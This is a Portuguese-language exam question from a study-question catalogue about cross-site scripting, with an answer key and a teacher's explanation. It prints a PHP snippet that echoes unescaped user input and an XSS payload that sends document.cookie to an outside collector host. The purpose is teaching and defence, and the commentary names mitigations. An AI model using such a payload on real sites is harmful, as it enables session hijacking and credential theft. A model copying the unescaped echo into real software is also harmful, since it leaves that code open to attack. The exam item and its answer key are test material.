Questão FC373393
Considere o trecho de programa PHP abaixo. <?php setcookie('PHPSSESID', 'meu_sid'); setcookie('login', 'meu_login'); setcookie('senha', 'minha_senha'); echo $_GET['var']; ?> Supond
Desenvolvimento Web
FCC · 2018
Considere o trecho de programa PHP abaixo.
<?php
setcookie('PHPSSESID', 'meu_sid');
setcookie('login', 'meu_login');
setcookie('senha', 'minha_senha');
echo $_GET['var'];
?>
Supondo que ao executar este trecho, um usuário passou como entrada:
<script>
document.write('<iframe width=1 height=1
src=http://www.coletor.com/rc.php?xss='+document.cookie.replace(//g,'')+'></iframe>')
</script>
cujo objetivo é capturar os dados de cookie do site alvo e enviá-los para o site www.coletor.com
Um Técnico de TI conclui corretamente que
- o trecho com a instrução echo imprime os dados passados pelo usuário, sem oferecer vulnerabilidades ao site alvo.
- nada ocorrerá, pois o usuário não poderia passar a entrada indicada.
- o navegador, ao perceber que a entrada se trata de um script, encerrará o código sem executar o echo.
- trata-se de um ataque do tipo XSS, pois com os dados de cookie é possível capturar senhas de e-mail.
- trata-se de um ataque do tipo SQL-Injection, pois o usuário invasor inseriu uma consulta que será enviada diretamente para o banco de dados relacional.
Mostrar resposta e comentário
Gabarito
D
Comentário do professor
Trata‑se de um ataque do tipo XSS (cross‑site scripting): o adversário injeta um script no parâmetro exibido pela página, que é executado no navegador das vítimas e opera no contexto do site legítimo.
No código, a linha echo $_GET['var'] imprime conteúdo do usuário sem tratamento; assim o <script> fornecido pelo atacante é incorporado e executado. Esse script usa document.cookie para ler os cookies e cria um iframe apontando para www.coletor.com, enviando os dados capturados.
Como os cookies foram definidos por setcookie com valores de login, senha e sessão, document.cookie conterá essas informações e elas serão exfiltradas para o invasor, possibilitando roubo de credenciais ou sequestro de sessão.
Mitigação: fazer escape/validação da saída (ex.: htmlspecialchars) e marcar cookies como HttpOnly para impedir acesso por JavaScript.
Conteúdo do catálogo FC Concursos · Atualizado em